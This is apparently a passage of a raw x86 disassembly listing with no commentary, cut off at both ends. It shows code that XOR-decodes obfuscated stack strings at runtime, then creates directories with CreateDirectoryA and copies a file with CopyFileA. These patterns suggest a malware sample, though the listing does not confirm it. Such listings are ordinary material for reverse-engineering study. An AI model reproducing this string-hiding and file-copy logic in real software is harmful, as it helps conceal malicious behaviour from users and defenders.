mov dword [ebp - 0x3e6], 0xc3d0c6d6
xor ecx, ecx
mov byte [ebp - 0x3e2], 0xda
movups xmmword [ebp - 0x3e1], xmm0
mov dword [ebp - 0x3d1], 0
mov word [ebp - 0x3cd], 0
mov byte [ebp - 0x3cb], 0
nop dword [eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x3ea], al
inc ecx
cmp ecx, 9
jb 0x418340
lea eax, [ebp - 0x3ea]
mov dword [0x565630], ecx
push eax
lea ecx, [ebp - 0x14d8]
mov byte [ebp - 0x3e1], 0
call fcn.00402b70
lea ecx, [ebp - 0x14d8]
mov byte [ebp - 4], 0xa4
call fcn.00402c10
push eax
lea edx, [ebx + 8]
lea ecx, [ebp - 0xa34]
call fcn.004909d0
add esp, 4
lea ecx, [ebp - 0x14d8]
mov byte [ebp - 4], 0xa6
call fcn.00402ad0
lea ecx, [ebp - 0xa34]
call fcn.00402c10
mov ecx, eax
call fcn.0040e050
test al, al
jne 0x4183ce
push 0
lea ecx, [ebp - 0xa34]
call fcn.00402c10
push eax
call esi
test eax, eax
je 0x41844b
sub esp, 0x18
mov byte [ebp - 0x11], 0
lea eax, [ebp - 0xa34]
mov dword [ebp - 0x1c], esp
mov ecx, esp
push eax
call fcn.0048ccc0
sub esp, 0x18
mov byte [ebp - 4], 0xa7
lea eax, [ebp - 0xd70]
mov ecx, esp
push eax
call fcn.0048ccc0
mov cl, byte [ebp - 0x11]
mov byte [ebp - 4], 0xa6
call fcn.00412980
add esp, 0x30
test eax, eax
jne 0x418413
mov byte [edi], 1
jmp 0x41844b
lea ecx, [ebp - 0xa34]
call fcn.00402c10
push eax
lea ecx, [ebp - 0x14c0]
call fcn.00402b70
push 0
mov dl, 1
mov byte [ebp - 4], 0xa8
lea ecx, [ebp - 0x14c0]
call fcn.0040e110
add esp, 4
lea ecx, [ebp - 0x14c0]
call fcn.00402ad0
lea ecx, [ebp - 0xa34]
mov byte [ebp - 4], 0xa3
call fcn.00402ad0
xorps xmm0, xmm0
mov dword [ebp - 0x57a], 0xd3c4f7f3
mov word [ebp - 0x576], 0xd0c1
xor ecx, ecx
mov byte [ebp - 0x574], 0xd4
movups xmmword [ebp - 0x573], xmm0
mov dword [ebp - 0x563], 0
mov word [ebp - 0x55f], 0
mov byte [ebp - 0x55d], 0
nop word [eax + eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x57a], al
inc ecx
cmp ecx, 7
jb 0x4184a0
lea eax, [ebp - 0x57a]
mov dword [0x565560], ecx
push eax
lea ecx, [ebp - 0x14a8]
mov byte [ebp - 0x573], 0
call fcn.00402b70
lea ecx, [ebp - 0x14a8]
mov byte [ebp - 4], 0xa9
call fcn.00402c10
push eax
lea ecx, [ebp - 0x1970]
call fcn.00402b70
push eax
lea edx, [ebp - 0x1af0]
mov byte [ebp - 4], 0xaa
lea ecx, [ebp - 0x7e8]
call fcn.00490af0
add esp, 4
lea ecx, [ebp - 0x1970]
call fcn.00402ad0
lea ecx, [ebp - 0x14a8]
mov byte [ebp - 4], 0xad
call fcn.00402ad0
lea ecx, [ebp - 0x7e8]
call fcn.00402c10
mov ecx, eax
call fcn.0040e050
test al, al
je 0x418e88
xorps xmm0, xmm0
mov dword [ebp - 0x55c], 0xd3c4f7f3
mov word [ebp - 0x558], 0xd0c1
xor ecx, ecx
mov byte [ebp - 0x556], 0xd4
movups xmmword [ebp - 0x555], xmm0
mov dword [ebp - 0x545], 0
mov word [ebp - 0x541], 0
mov byte [ebp - 0x53f], 0
nop dword [eax + eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x55c], al
inc ecx
cmp ecx, 7
jb 0x418580
lea eax, [ebp - 0x55c]
mov dword [0x565560], ecx
push eax
lea ecx, [ebp - 0x1490]
mov byte [ebp - 0x555], 0
call fcn.00402b70
lea ecx, [ebp - 0x1490]
mov byte [ebp - 4], 0xae
call fcn.00402c10
push eax
lea edx, [ebx + 8]
lea ecx, [ebp - 0x928]
call fcn.004909d0
add esp, 4
lea ecx, [ebp - 0x1490]
mov byte [ebp - 4], 0xb0
call fcn.00402ad0
lea ecx, [ebp - 0x928]
call fcn.00402c10
mov ecx, eax
call fcn.0040e050
test al, al
jne 0x41860e
push 0
lea ecx, [ebp - 0x928]
call fcn.00402c10
push eax
call esi
test eax, eax
je 0x418e79
xorps xmm0, xmm0
mov dword [ebp - 0x2e6], 0xd6dff9f3
mov dword [ebp - 0x2e2], 0xd2d0ccd6
xor ecx, ecx
mov word [ebp - 0x2de], 0xfaf3
movups xmmword [ebp - 0x2dc], xmm0
mov dword [ebp - 0x2cc], 0
mov word [ebp - 0x2c8], 0
mov byte [ebp - 0x2c6], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x2e6], al
inc ecx
cmp ecx, 0xa
jb 0x418651
lea eax, [ebp - 0x2e6]
mov dword [0x5655e0], ecx
push eax
lea ecx, [ebp - 0x1478]
mov byte [ebp - 0x2dc], 0
call fcn.00402b70
lea ecx, [ebp - 0x1478]
mov byte [ebp - 4], 0xb1
call fcn.00402c10
push eax
lea edx, [ebp - 0x7e8]
lea ecx, [ebp - 0x1988]
call fcn.004909d0
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0xb2
call fcn.00402c10
mov ecx, eax
call fcn.0040e050
lea ecx, [ebp - 0x1988]
mov byte [ebp - 0x11], al
call fcn.00402ad0
lea ecx, [ebp - 0x1478]
mov byte [ebp - 4], 0xb0
call fcn.00402ad0
cmp byte [ebp - 0x11], 0
je 0x4188dc
xorps xmm0, xmm0
mov dword [ebp - 0x36a], 0xd6dff9f3
mov dword [ebp - 0x366], 0xd2d0ccd6
xor ecx, ecx
mov word [ebp - 0x362], 0xfaf3
movups xmmword [ebp - 0x360], xmm0
mov dword [ebp - 0x350], 0
mov word [ebp - 0x34c], 0
mov byte [ebp - 0x34a], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x36a], al
inc ecx
cmp ecx, 0xa
jb 0x418721
lea eax, [ebp - 0x36a]
mov dword [0x5655e0], ecx
push eax
lea ecx, [ebp - 0x1460]
mov byte [ebp - 0x360], 0
call fcn.00402b70
lea ecx, [ebp - 0x1460]
mov byte [ebp - 4], 0xb3
call fcn.00402c10
push eax
lea edx, [ebp - 0x928]
lea ecx, [ebp - 0xa1c]
call fcn.004909d0
add esp, 4
lea ecx, [ebp - 0x1460]
mov byte [ebp - 4], 0xb5
call fcn.00402ad0
lea ecx, [ebp - 0xa1c]
call fcn.00402c10
mov ecx, eax
call fcn.0040e050
test al, al
jne 0x4187b2
push 0
lea ecx, [ebp - 0xa1c]
call fcn.00402c10
push eax
call esi
test eax, eax
je 0x4188cd
sub esp, 0x18
mov dword [ebp - 0x307], 0xd6dff9f3
lea eax, [ebp - 0xa1c]
mov dword [ebp - 0x1c], esp
xorps xmm0, xmm0
mov dword [ebp - 0x303], 0xd2d0ccd6
mov ecx, esp
mov word [ebp - 0x2ff], 0xfaf3
push eax
movups xmmword [ebp - 0x2fd], xmm0
mov dword [ebp - 0x2ed], 0
mov word [ebp - 0x2e9], 0
mov byte [ebp - 0x2e7], 0
mov byte [ebp - 0x11], 0
call fcn.0048ccc0
mov byte [ebp - 4], 0xb6
xor ecx, ecx
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x307], al
inc ecx
cmp ecx, 0xa
jb 0x418811
lea eax, [ebp - 0x307]
mov dword [0x5655e0], ecx
push eax
lea ecx, [ebp - 0x1448]
mov byte [ebp - 0x2fd], 0
call fcn.00402b70
sub esp, 0x18
mov byte [ebp - 4], 0xb7
lea ecx, [ebp - 0x1448]
mov esi, esp
call fcn.00402c10
push eax
lea edx, [ebp - 0x7e8]
mov ecx, esi
call fcn.004909d0
add esp, 4
mov cl, byte [ebp - 0x11]
mov byte [ebp - 4], 0xb8
call fcn.00412980
add esp, 0x30
mov byte [ebp - 4], 0xb5
lea ecx, [ebp - 0x1448]
mov esi, eax
call fcn.00402ad0
test esi, esi
jne 0x41888f
mov byte [edi], 1
jmp 0x4188c7
lea ecx, [ebp - 0xa1c]
call fcn.00402c10
push eax
lea ecx, [ebp - 0x1430]
call fcn.00402b70
push 0
mov dl, 1
mov byte [ebp - 4], 0xb9
lea ecx, [ebp - 0x1430]
call fcn.0040e110
add esp, 4
lea ecx, [ebp - 0x1430]
call fcn.00402ad0
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0xa1c]
mov byte [ebp - 4], 0xb0
call fcn.00402ad0
xorps xmm0, xmm0
mov dword [ebp - 0xdb], 0xd1defcf3
mov dword [ebp - 0xd7], 0xe595d8d2
xor ecx, ecx
mov dword [ebp - 0xd3], 0xdbcbd7c3
mov word [ebp - 0xcf], 0xd9dc
movups xmmword [ebp - 0xcd], xmm0
mov dword [ebp - 0xbd], 0
mov word [ebp - 0xb9], 0
mov byte [ebp - 0xb7], 0
nop dword [eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0xdb], al
inc ecx
cmp ecx, 0xe
jb 0x418930
lea eax, [ebp - 0xdb]
mov dword [0x565524], ecx
push eax
lea ecx, [ebp - 0x1418]
mov byte [ebp - 0xcd], 0
call fcn.00402b70
lea ecx, [ebp - 0x1418]
mov byte [ebp - 4], 0xba
call fcn.00402c10
push eax
lea edx, [ebp - 0x7e8]
lea ecx, [ebp - 0x19a0]
call fcn.004909d0
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0xbb
call fcn.00402c10
mov ecx, eax
call fcn.0040e050
lea ecx, [ebp - 0x19a0]
mov byte [ebp - 0x11], al
call fcn.00402ad0
lea ecx, [ebp - 0x1418]
mov byte [ebp - 4], 0xb0
call fcn.00402ad0
cmp byte [ebp - 0x11], 0
je 0x418bdb
xorps xmm0, xmm0
mov dword [ebp - 0xb6], 0xd1defcf3
mov dword [ebp - 0xb2], 0xe595d8d2
xor ecx, ecx
mov dword [ebp - 0xae], 0xdbcbd7c3
mov word [ebp - 0xaa], 0xd9dc
movups xmmword [ebp - 0xa8], xmm0
mov dword [ebp - 0x98], 0
mov word [ebp - 0x94], 0
mov byte [ebp - 0x92], 0
nop word [eax + eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0xb6], al
inc ecx
cmp ecx, 0xe
jb 0x418a10
lea eax, [ebp - 0xb6]
mov dword [0x565524], ecx
push eax
lea ecx, [ebp - 0x1400]
mov byte [ebp - 0xa8], 0
call fcn.00402b70
lea ecx, [ebp - 0x1400]
mov byte [ebp - 4], 0xbc
call fcn.00402c10
push eax
lea edx, [ebp - 0x928]
lea ecx, [ebp - 0xa04]
call fcn.004909d0
add esp, 4
lea ecx, [ebp - 0x1400]
mov byte [ebp - 4], 0xbe
call fcn.00402ad0
lea ecx, [ebp - 0xa04]
call fcn.00402c10
mov ecx, eax
call fcn.0040e050
test al, al
jne 0x418aa1
push 0
lea ecx, [ebp - 0xa04]
call fcn.00402c10
push eax
call esi
test eax, eax
je 0x418bcc
sub esp, 0x18
mov dword [ebp - 0x16f], 0xd1defcf3
lea eax, [ebp - 0xa04]
mov dword [ebp - 0x1c], esp
xorps xmm0, xmm0
mov dword [ebp - 0x16b], 0xe595d8d2
mov ecx, esp
mov dword [ebp - 0x167], 0xdbcbd7c3
push eax
mov word [ebp - 0x163], 0xd9dc
movups xmmword [ebp - 0x161], xmm0
mov dword [ebp - 0x151], 0
mov word [ebp - 0x14d], 0
mov byte [ebp - 0x14b], 0
mov byte [ebp - 0x11], 0
call fcn.0048ccc0
mov byte [ebp - 4], 0xbf
xor ecx, ecx
nop word [eax + eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x16f], al
inc ecx
cmp ecx, 0xe
jb 0x418b10
lea eax, [ebp - 0x16f]
mov dword [0x565524], ecx
push eax
lea ecx, [ebp - 0x13e8]
mov byte [ebp - 0x161], 0
call fcn.00402b70
sub esp, 0x18
mov byte [ebp - 4], 0xc0
lea ecx, [ebp - 0x13e8]
mov esi, esp
call fcn.00402c10
push eax
lea edx, [ebp - 0x7e8]
mov ecx, esi
call fcn.004909d0
add esp, 4
mov cl, byte [ebp - 0x11]
mov byte [ebp - 4], 0xc1
call fcn.00412980
add esp, 0x30
mov byte [ebp - 4], 0xbe
lea ecx, [ebp - 0x13e8]
mov esi, eax
call fcn.00402ad0
test esi, esi
jne 0x418b8e
mov byte [edi], 1
jmp 0x418bc6
lea ecx, [ebp - 0xa04]
call fcn.00402c10
push eax
lea ecx, [ebp - 0x13d0]
call fcn.00402b70
push 0
mov dl, 1
mov byte [ebp - 4], 0xc2
lea ecx, [ebp - 0x13d0]
call fcn.0040e110
add esp, 4
lea ecx, [ebp - 0x13d0]
call fcn.00402ad0
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0xa04]
mov byte [ebp - 4], 0xb0
call fcn.00402ad0
movaps xmm0, xmmword [0x552280]
xor ecx, ecx
movups xmmword [ebp - 0xce6], xmm0
mov dword [ebp - 0xcc6], 0
xorps xmm0, xmm0
mov word [ebp - 0xcc2], 0
movups xmmword [ebp - 0xcd6], xmm0
mov byte [ebp - 0xcc0], 0
nop
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0xce6], al
inc ecx
cmp ecx, 0x10
jb 0x418c10
lea eax, [ebp - 0xce6]
mov dword [0x565628], ecx
push eax
lea ecx, [ebp - 0x13b8]
mov byte [ebp - 0xcd6], 0
call fcn.00402b70
lea ecx, [ebp - 0x13b8]
mov byte [ebp - 4], 0xc3
call fcn.00402c10
push eax
lea edx, [ebp - 0x7e8]
lea ecx, [ebp - 0x19b8]
call fcn.004909d0
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0xc4
call fcn.00402c10
mov ecx, eax
call fcn.0040e050
lea ecx, [ebp - 0x19b8]
mov byte [ebp - 0x11], al
call fcn.00402ad0
lea ecx, [ebp - 0x13b8]
mov byte [ebp - 4], 0xb0
call fcn.00402ad0
cmp byte [ebp - 0x11], 0
je 0x418e79
movaps xmm0, xmmword [0x552280]
xor ecx, ecx
movups xmmword [ebp - 0xc4a], xmm0
mov dword [ebp - 0xc2a], 0
xorps xmm0, xmm0
mov word [ebp - 0xc26], 0
movups xmmword [ebp - 0xc3a], xmm0
mov byte [ebp - 0xc24], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0xc4a], al
inc ecx
cmp ecx, 0x10
jb 0x418cd1
lea eax, [ebp - 0xc4a]
mov dword [0x565628], ecx
push eax
lea ecx, [ebp - 0x13a0]
mov byte [ebp - 0xc3a], 0
call fcn.00402b70
lea ecx, [ebp - 0x13a0]
mov byte [ebp - 4], 0xc5
call fcn.00402c10
push eax
lea edx, [ebp - 0x928]
lea ecx, [ebp - 0x9ec]
call fcn.004909d0
add esp, 4
lea ecx, [ebp - 0x13a0]
mov byte [ebp - 4], 0xc7
call fcn.00402ad0
lea ecx, [ebp - 0x9ec]
call fcn.00402c10
mov ecx, eax
call fcn.0040e050
test al, al
jne 0x418d62
push 0
lea ecx, [ebp - 0x9ec]
call fcn.00402c10
push eax
call esi
test eax, eax
je 0x418e6e
movaps xmm0, xmmword [0x552280]
lea eax, [ebp - 0x9ec]
sub esp, 0x18
mov dword [ebp - 0xc03], 0
movups xmmword [ebp - 0xc23], xmm0
mov dword [ebp - 0x1c], esp
mov ecx, esp
xorps xmm0, xmm0
mov word [ebp - 0xbff], 0
push eax
movups xmmword [ebp - 0xc13], xmm0
mov byte [ebp - 0xbfd], 0
mov byte [ebp - 0x11], 0
call fcn.0048ccc0
mov byte [ebp - 4], 0xc8
xor ecx, ecx
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0xc23], al
inc ecx
cmp ecx, 0x10
jb 0x418db2
lea eax, [ebp - 0xc23]
mov dword [0x565628], ecx
push eax
lea ecx, [ebp - 0x1388]
mov byte [ebp - 0xc13], 0
call fcn.00402b70
sub esp, 0x18
mov byte [ebp - 4], 0xc9
lea ecx, [ebp - 0x1388]
mov esi, esp
call fcn.00402c10
push eax
lea edx, [ebp - 0x7e8]
mov ecx, esi
call fcn.004909d0
add esp, 4
mov cl, byte [ebp - 0x11]
mov byte [ebp - 4], 0xca
call fcn.00412980
add esp, 0x30
mov byte [ebp - 4], 0xc7
lea ecx, [ebp - 0x1388]
mov esi, eax
call fcn.00402ad0
test esi, esi
jne 0x418e30
mov byte [edi], 1
jmp 0x418e68
lea ecx, [ebp - 0x9ec]
call fcn.00402c10
push eax
lea ecx, [ebp - 0x1370]
call fcn.00402b70
push 0
mov dl, 1
mov byte [ebp - 4], 0xcb
lea ecx, [ebp - 0x1370]
call fcn.0040e110
add esp, 4
lea ecx, [ebp - 0x1370]
call fcn.00402ad0
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0x9ec]
call fcn.00402ad0
lea ecx, [ebp - 0x928]
mov byte [ebp - 4], 0xad
call fcn.00402ad0
movaps xmm0, xmmword [0x551f40]
xor ecx, ecx
movups xmmword [ebp - 0x7b7], xmm0
mov dword [ebp - 0x7a7], 0xa7a6afdb
xorps xmm0, xmm0
mov dword [ebp - 0x7a3], 0xaaa4b3ed
mov word [ebp - 0x79f], 0xadab
mov byte [ebp - 0x79d], 0xbd
movups xmmword [ebp - 0x79c], xmm0
mov dword [ebp - 0x78c], 0
mov word [ebp - 0x788], 0
mov byte [ebp - 0x786], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x7b7], al
inc ecx
cmp ecx, 0x1b
jb 0x418ee0
lea eax, [ebp - 0x7b7]
mov dword [0x565618], ecx
push eax
lea ecx, [ebp - 0x1358]
mov byte [ebp - 0x79c], 0
call fcn.00402b70
lea ecx, [ebp - 0x1358]
mov byte [ebp - 4], 0xcc
call fcn.00402c10
push eax
lea ecx, [ebp - 0x19d0]
call fcn.00402b70
push eax
lea edx, [ebp - 0x1af0]
mov byte [ebp - 4], 0xcd
lea ecx, [ebp - 0xd58]
call fcn.00490af0
add esp, 4
lea ecx, [ebp - 0x19d0]
call fcn.00402ad0
lea ecx, [ebp - 0x1358]
mov byte [ebp - 4], 0xd0
call fcn.00402ad0
sub esp, 0x18
lea eax, [ebp - 0xd58]
mov ecx, esp
push eax
call fcn.0048ccc0
call fcn.0040dee0
add esp, 0x18
test al, al
je 0x41916e
xorps xmm0, xmm0
mov dword [ebp - 0x328], 0xdec4fdf3
mov dword [ebp - 0x324], 0xd9f1ddc7
xor ecx, ecx
mov word [ebp - 0x320], 0xddd0
movups xmmword [ebp - 0x31e], xmm0
mov dword [ebp - 0x30e], 0
mov word [ebp - 0x30a], 0
mov byte [ebp - 0x308], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x328], al
inc ecx
cmp ecx, 0xa
jb 0x418fc2
lea eax, [ebp - 0x328]
mov dword [0x5655e0], ecx
push eax
lea ecx, [ebp - 0x1340]
mov byte [ebp - 0x31e], 0
call fcn.00402b70
lea ecx, [ebp - 0x1340]
mov byte [ebp - 4], 0xd1
call fcn.00402c10
push eax
lea edx, [ebx + 8]
lea ecx, [ebp - 0x9d4]
call fcn.004909d0
add esp, 4
lea ecx, [ebp - 0x1340]
mov byte [ebp - 4], 0xd3
call fcn.00402ad0
lea ecx, [ebp - 0x9d4]
call fcn.00402c10
mov ecx, eax
call fcn.0040e050
test al, al
jne 0x419050
push 0
lea ecx, [ebp - 0x9d4]
call fcn.00402c10
push eax
call esi
test eax, eax
je 0x41915f
movaps xmm0, xmmword [0x5521c0]
xor ecx, ecx
movups xmmword [ebp - 0xbac], xmm0
mov byte [ebp - 0xb9c], 0xcb
xorps xmm0, xmm0
mov dword [ebp - 0xb8b], 0
movups xmmword [ebp - 0xb9b], xmm0
mov word [ebp - 0xb87], 0
mov byte [ebp - 0xb85], 0
nop dword [eax + eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0xbac], al
inc ecx
cmp ecx, 0x11
jb 0x419090
lea eax, [ebp - 0xbac]
mov dword [0x565634], ecx
push eax
lea ecx, [ebp - 0x1328]
mov byte [ebp - 0xb9b], 0
call fcn.00402b70
lea ecx, [ebp - 0x1328]
mov byte [ebp - 4], 0xd4
call fcn.00402c10
push eax
lea edx, [ebp - 0x9d4]
lea ecx, [ebp - 0x19e8]
call fcn.004909d0
add esp, 4
mov ecx, eax
call fcn.00402c10
lea ecx, [ebp - 0xd58]
mov esi, eax
call fcn.00402c10
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [ebp - 0x19e8]
mov esi, eax
call fcn.00402ad0
lea ecx, [ebp - 0x1328]
mov byte [ebp - 4], 0xd3
call fcn.00402ad0
test esi, esi
je 0x419127
mov byte [edi], 1
jmp 0x41915f
lea ecx, [ebp - 0x9d4]
call fcn.00402c10
push eax
lea ecx, [ebp - 0x1310]
call fcn.00402b70
push 0
mov dl, 1
mov byte [ebp - 4], 0xd5
lea ecx, [ebp - 0x1310]
call fcn.0040e110
add esp, 4
lea ecx, [ebp - 0x1310]
call fcn.00402ad0
lea ecx, [ebp - 0x9d4]
mov byte [ebp - 4], 0xd0
call fcn.00402ad0
sub esp, 0x18
mov dword [ebp - 0x53e], 0xd1c5d9ed
lea eax, [ebx + 8]
mov dword [ebp - 0x1c], esp
xorps xmm0, xmm0
mov word [ebp - 0x53a], 0xdddc
mov ecx, esp
mov byte [ebp - 0x538], 0xdb
push eax
movups xmmword [ebp - 0x537], xmm0
mov dword [ebp - 0x527], 0
mov word [ebp - 0x523], 0
mov byte [ebp - 0x521], 0
call fcn.0048ccc0
mov byte [ebp - 4], 0xd6
xor ecx, ecx
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x53e], al
inc ecx
cmp ecx, 7
jb 0x4191c3
lea eax, [ebp - 0x53e]
mov dword [0x565560], ecx
push eax
lea ecx, [ebp - 0x12f8]
mov byte [ebp - 0x537], 0
call fcn.00402b70
sub esp, 0x18
mov byte [ebp - 4], 0xd7
lea ecx, [ebp - 0x12f8]
mov esi, esp
call fcn.00402c10
push eax
mov ecx, esi
call fcn.00402b70
mov ecx, edi
mov byte [ebp - 4], 0xd8
call fcn.004145f0
add esp, 0x30
mov byte [ebp - 4], 0xd0
lea ecx, [ebp - 0x12f8]
call fcn.00402ad0
sub esp, 0x18
mov dword [ebp - 0x520], 0xd7d6dfeb
lea eax, [ebx + 8]
mov dword [ebp - 0x1c], esp
xorps xmm0, xmm0
mov dword [ebp - 0x51c], 0xd8dcdbd0
mov ecx, esp
mov dword [ebp - 0x508], 0
push eax
movups xmmword [ebp - 0x518], xmm0
mov word [ebp - 0x504], 0
mov byte [ebp - 0x502], 0
call fcn.0048ccc0
mov byte [ebp - 4], 0xd9
xor ecx, ecx
nop dword [eax + eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x520], al
inc ecx
cmp ecx, 8
jb 0x419280
lea eax, [ebp - 0x520]
mov dword [0x565624], ecx
push eax
lea ecx, [ebp - 0x12e0]
mov byte [ebp - 0x518], 0
call fcn.00402b70
sub esp, 0x18
mov byte [ebp - 4], 0xda
lea ecx, [ebp - 0x12e0]
mov esi, esp
call fcn.00402c10
push eax
mov ecx, esi
call fcn.00402b70
mov ecx, edi
mov byte [ebp - 4], 0xdb
call fcn.004145f0
add esp, 0x30
mov byte [ebp - 4], 0xd0
lea ecx, [ebp - 0x12e0]
call fcn.00402ad0
sub esp, 0x18
mov dword [ebp - 0x4e2], 0xdcdedeee
lea eax, [ebx + 8]
mov dword [ebp - 0x1c], esp
xorps xmm0, xmm0
mov dword [ebp - 0x4de], 0xd8dcdbd0
mov ecx, esp
mov dword [ebp - 0x4ca], 0
push eax
movups xmmword [ebp - 0x4da], xmm0
mov word [ebp - 0x4c6], 0
mov byte [ebp - 0x4c4], 0
call fcn.0048ccc0
mov byte [ebp - 4], 0xdc
xor ecx, ecx
nop dword [eax + eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x4e2], al
inc ecx
cmp ecx, 8
jb 0x419340
lea eax, [ebp - 0x4e2]
mov dword [0x565624], ecx
push eax
lea ecx, [ebp - 0x12c8]
mov byte [ebp - 0x4da], 0
call fcn.00402b70
sub esp, 0x18
mov byte [ebp - 4], 0xdd
lea ecx, [ebp - 0x12c8]
mov esi, esp
call fcn.00402c10
push eax
mov ecx, esi
call fcn.00402b70
mov ecx, edi
mov byte [ebp - 4], 0xde
call fcn.004145f0
add esp, 0x30
mov byte [ebp - 4], 0xd0
lea ecx, [ebp - 0x12c8]
call fcn.00402ad0
sub esp, 0x18
mov dword [ebp - 0x6a6], 0xf1e0f2ed
lea eax, [ebx + 8]
mov dword [ebp - 0x1c], esp
xorps xmm0, xmm0
mov word [ebp - 0x6a2], 0xdddc
mov ecx, esp
mov byte [ebp - 0x6a0], 0xdb
push eax
movups xmmword [ebp - 0x69f], xmm0
mov dword [ebp - 0x68f], 0
mov word [ebp - 0x68b], 0
mov byte [ebp - 0x689], 0
call fcn.0048ccc0
mov byte [ebp - 4], 0xdf
xor ecx, ecx
nop
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x6a6], al
inc ecx
cmp ecx, 7
jb 0x419400
lea eax, [ebp - 0x6a6]
mov dword [0x565560], ecx
push eax
lea ecx, [ebp - 0x12b0]
mov byte [ebp - 0x69f], 0
call fcn.00402b70
sub esp, 0x18
mov byte [ebp - 4], 0xe0
lea ecx, [ebp - 0x12b0]
mov esi, esp
call fcn.00402c10
push eax
mov ecx, esi
call fcn.00402b70
mov ecx, edi
mov byte [ebp - 4], 0xe1
call fcn.004145f0
add esp, 0x30
mov byte [ebp - 4], 0xd0
lea ecx, [ebp - 0x12b0]
call fcn.00402ad0
sub esp, 0x18
mov dword [ebp - 0x428], 0xdac2d1eb
lea eax, [ebx + 8]
mov dword [ebp - 0x1c], esp
xorps xmm0, xmm0
mov dword [ebp - 0x424], 0xd3c7dbf0
mov ecx, esp
mov dword [ebp - 0x410], 0
push eax
movups xmmword [ebp - 0x420], xmm0
mov word [ebp - 0x40c], 0
mov byte [ebp - 0x40a], 0
call fcn.0048ccc0
mov byte [ebp - 4], 0xe2
xor ecx, ecx
nop dword [eax + eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x428], al
inc ecx
cmp ecx, 8
jb 0x4194c0
lea eax, [ebp - 0x428]
mov dword [0x565624], ecx
push eax
lea ecx, [ebp - 0x1748]
mov byte [ebp - 0x420], 0
call fcn.00402b70
sub esp, 0x18
mov byte [ebp - 4], 0xe3
lea ecx, [ebp - 0x1748]
mov esi, esp
call fcn.00402c10
push eax
mov ecx, esi
call fcn.00402b70
mov ecx, edi
mov byte [ebp - 4], 0xe4
call fcn.004145f0
add esp, 0x30
mov byte [ebp - 4], 0xd0
lea ecx, [ebp - 0x1748]
call fcn.00402ad0
sub esp, 0x18
mov dword [ebp - 0x349], 0xc0dedce9
lea eax, [ebx + 8]
mov dword [ebp - 0x1c], esp
xorps xmm0, xmm0
mov dword [ebp - 0x345], 0xd9d6dada
mov ecx, esp
mov word [ebp - 0x341], 0xd6de
push eax
movups xmmword [ebp - 0x33f], xmm0
mov dword [ebp - 0x32f], 0
mov word [ebp - 0x32b], 0
mov byte [ebp - 0x329], 0
call fcn.0048ccc0
mov byte [ebp - 4], 0xe5
xor ecx, ecx
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x349], al
inc ecx
cmp ecx, 0xa
jb 0x419581
lea eax, [ebp - 0x349]
mov dword [0x5655e0], ecx
push eax
lea ecx, [ebp - 0xec0]
mov byte [ebp - 0x33f], 0
call fcn.00402b70
sub esp, 0x18
mov byte [ebp - 4], 0xe6
lea ecx, [ebp - 0xec0]
mov esi, esp
call fcn.00402c10
push eax
mov ecx, esi
call fcn.00402b70
mov ecx, edi
mov byte [ebp - 4], 0xe7
call fcn.004145f0
add esp, 0x30
mov byte [ebp - 4], 0xd0
lea ecx, [ebp - 0xec0]
call fcn.00402ad0
sub esp, 0x18
mov dword [ebp - 0x6e0], 0xdcd0c2e9
lea eax, [ebx + 8]
mov dword [ebp - 0x1c], esp
xorps xmm0, xmm0
mov word [ebp - 0x6dc], 0xdbd8
mov ecx, esp
mov dword [ebp - 0x6ca], 0
push eax
movups xmmword [ebp - 0x6da], xmm0
mov word [ebp - 0x6c6], 0
mov byte [ebp - 0x6c4], 0
call fcn.0048ccc0
mov byte [ebp - 4], 0xe8
xor ecx, ecx
nop dword [eax + eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x6e0], al
inc ecx
cmp ecx, 6
jb 0x419640
lea eax, [ebp - 0x6e0]
mov dword [0x565548], ecx
push eax
lea ecx, [ebp - 0xed8]
mov byte [ebp - 0x6da], 0
call fcn.00402b70
lea ecx, [ebp - 0xed8]
call fcn.00402c10
sub esp, 0x18
mov dword [ebp - 0x18], eax
mov esi, esp
mov dword [ebp - 0x20], esi
mov ecx, esi
push dword [ebp - 0x20]
call fcn.00402c20
mov byte [ebp - 4], 0xea
mov edx, dword [ebp - 0x18]
mov ecx, edx
lea eax, [ecx + 1]
mov dword [ebp - 0x18], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4196a0
sub ecx, dword [ebp - 0x18]
push ecx
push edx
mov ecx, esi
call fcn.00402c40
mov byte [ebp - 4], 0xe9
mov ecx, edi
mov byte [ebp - 4], 0xeb
call fcn.004145f0
add esp, 0x30
mov byte [ebp - 4], 0xd0
lea ecx, [ebp - 0xed8]
call fcn.00402ad0
sub esp, 0x18
mov dword [ebp - 0x4c3], 0xdbd4c2e9
lea eax, [ebx + 8]
mov dword [ebp - 0x20], esp
xorps xmm0, xmm0
mov dword [ebp - 0x4bf], 0xd8dcdbd0
